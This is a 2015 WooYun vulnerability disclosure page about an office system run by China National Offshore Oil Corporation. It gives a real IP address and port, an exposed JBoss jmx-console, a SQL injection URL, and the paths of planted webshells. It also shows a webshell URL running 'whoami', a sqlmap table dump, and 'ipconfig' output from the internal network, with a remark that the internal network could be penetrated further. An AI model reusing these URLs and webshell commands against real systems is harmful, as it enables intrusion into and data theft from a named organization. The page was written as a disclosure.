当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0110660

漏洞标题：中海油某办公系统多个漏洞已成马场（可渗透内网）

相关厂商：中国海洋石油总公司

漏洞作者： JulyTornado

提交时间：2015-04-27 15:44

修复时间：2015-05-02 15:46

公开时间：2015-05-02 15:46

漏洞类型：成功的入侵事件

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-27： 细节已通知厂商并且等待厂商处理中
2015-05-02： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

我是一条小青龙，我有许多小秘密，就不告诉你。。。

详细说明：

QQ截圖20150427151219.png


jboss越权：

http://110.80.10.170:8081/jmx-console/


QQ截圖20150427151133.png


SQL注入：

http://110.80.10.170:8081/oa/notneedlogin/checkusercodelevel.jsp?userid=admin


userid存在get注入
部分webshell：
http://110.80.10.170:8081/zmeu/cs.jsp
http://110.80.10.170:8081/zecmd/zecmd.jsp

漏洞证明：

管理员权限：
http://110.80.10.170:8081/zecmd/zecmd.jsp?comment=whoami

QQ截圖20150427151502.png


SQLMAP结果：

QQ截圖20150427150814.png


Database: fjorgan
[135 tables]
+-------------------------+
| ADDRESSLIST             |
| ARTICLE                 |
| AUTHORIZEBASE           |
| AUTHORIZEEXT            |
| CALENDAR_EVENT          |
| CATALOG                 |
| DIVINFO                 |
| DM_LX                   |
| DM_MX                   |
| EMPLOYEE_POSITION_TABLE |
| EMPLOYEE_TABLE          |
| EMPLOYEE_TABLE_BAK      |
| FUNMAPPING              |
| FUNMAPPING_IN           |
| FUNMAPPING_OUT          |
| HIS_MESSAGE             |
| INFOSYSTEM_TABLE        |
| MENU_TABLE              |
| MODULE                  |
| NDPARA                  |
| NIOPERATOR              |
| NIPARA                  |
| NODEDEF                 |
| NODEINS                 |
| NODERELATION            |
| NODERELATIONINS         |
| ORGAN_TABLE             |
| ORGAN_TABLEHIS          |
| Organ_Structure         |
| POLITYPOST              |
| POLITYPOSTHIS           |
| PORTAL_USER             |
| PORTAL_USER_MODULES     |
| PORTAL_USER_TABS        |
| POSITION_RELATION_TABLE |
| POSITION_SYSTEM         |
| POSITION_TABLE          |
| POSITION_TABLEHIS       |
| POST                    |
| POSTHIS                 |
| POS_ROLE_TABLE          |
| PRODEF                  |
| PROINS                  |
| PROINSLOG               |
| ROLE_MENU_TABLE         |
| ROLE_TABLE              |
| SEQ                     |
| SEQUENCE                |
| SEQ_YWXH                |
| SMSG                    |
| SMS_CONFIG              |
| SMS_INIT                |
| SMS_MAIL_COMPLETE       |
| SMS_MAIL_CONFIG         |
| SMS_MAIL_QUEUE          |
| SMS_MAIL_SCHEME         |
| SP_XX                   |
| SYSTEM_USERS            |
| SYS_LOG                 |
| SYS_MESSAGE             |
| TEMPEXCEL               |
| TEMP_USERS              |
| USER_FORBID             |
| USER_ORGAN              |
| USER_ROLE_TABLE         |
| USER_SYSTEM             |
| USER_TABLE              |
| USER_TABLEHIS           |
| USER_TABLEOTH           |
| V_AUTHORIZE             |
| V_EMPLOYEE_POSITION     |
| V_EMPLOYEE_TABLE        |
| V_FUNMAPPING            |
| V_MESSAGE               |
| V_MODULE                |
| V_NIOPERATOR            |
| V_NODEDEF               |
| V_NODEINS               |
| V_NODEINS_CUR           |
| V_NODEINS_PASS          |
| V_NODERELATION          |
| V_NODERELATIONINS       |
| V_OFFMODULE             |
| V_POSITION_RELATION     |
| V_PRODEF                |
| V_ROLE_MENU             |
| V_ROLE_MENU_TABLE       |
| V_USERMENU_SELECT       |
| V_USERS_FLOW            |
| V_USER_MENU_ALL2        |
| V_USER_ROLE             |
| V_USER_SYSTEM           |
| V_syslog                |
| WORKFLOWBASE            |
| WORKFLOWNODE            |
| WORKFLOWPARA            |
| WORKFLOW_SAMPLE         |
| ls                      |
| seq_wf                  |
| temp_organ              |
| user_menu_table         |
| user_menu_table_bak     |
| v_all_menus             |
| v_all_roles             |
| v_authorizebase         |
| v_authorizeext          |
| v_employee              |
| v_employee_position_yg  |
| v_employee_user         |
| v_nodedef_authorize     |
| v_nodedef_flow          |
| v_organ                 |
| v_organhis              |
| v_politypost            |
| v_polityposthis         |
| v_pos_role              |
| v_position              |
| v_position_role         |
| v_positionhis           |
| v_post                  |
| v_posthis               |
| v_proins                |
| v_role_position         |
| v_spxx                  |
| v_system                |
| v_user_menu             |
| v_user_menu_all         |
| v_user_roles            |
| v_userhis               |
| v_users                 |
| v_users_wf              |
| v_usersystem            |
| v_workflow_sample       |
| v_workflowbase          |
| v_workflownode          |
+-------------------------+


内网ip，可进一步渗透：

Command: ipconfig /all
Windows IP Configuration
   Host Name . . . . . . . . . . . . : cnooc-servers
   Primary Dns Suffix  . . . . . . . : 
   Node Type . . . . . . . . . . . . : Unknown
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter ±¾µØÁ¬½Ó:
   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : IBM USB Remote NDIS Network Device
   Physical Address. . . . . . . . . : 5E-F3-FD-35-25-CB
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   IP Address. . . . . . . . . . . . : 169.254.95.120
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 
   DHCP Server . . . . . . . . . . . : 169.254.95.118
   Lease Obtained. . . . . . . . . . : 2015Äê4ÔÂ27ÈÕ 15:10:26
   Lease Expires . . . . . . . . . . : 2015Äê4ÔÂ27ÈÕ 15:30:26
Ethernet adapter ÍâÍø:
  Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : Broadcom BCM5709C NetXtreme II GigE (NDIS VBD Client) #2
   Physical Address. . . . . . . . . : 5C-F3-FC-DA-26-1A
   DHCP Enabled. . . . . . . . . . . : No
   IP Address. . . . . . . . . . . . : 192.168.10.1
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.10.249
   DNS Servers . . . . . . . . . . . : 218.85.157.99

修复方案：

不深入了，脱裤和内网渗透都是体力活
请立即下线，整改完毕后再上线，其它问题请自查，运维童鞋辛苦了！

版权声明：转载请注明来源 JulyTornado@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-05-02 15:46

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无

漏洞评价：

评论

  1. 2015-05-02 16:18 | 苍崎深雪 ( 路人 | Rank:3 漏洞数:2 | 微光)

    无影响厂商忽略 666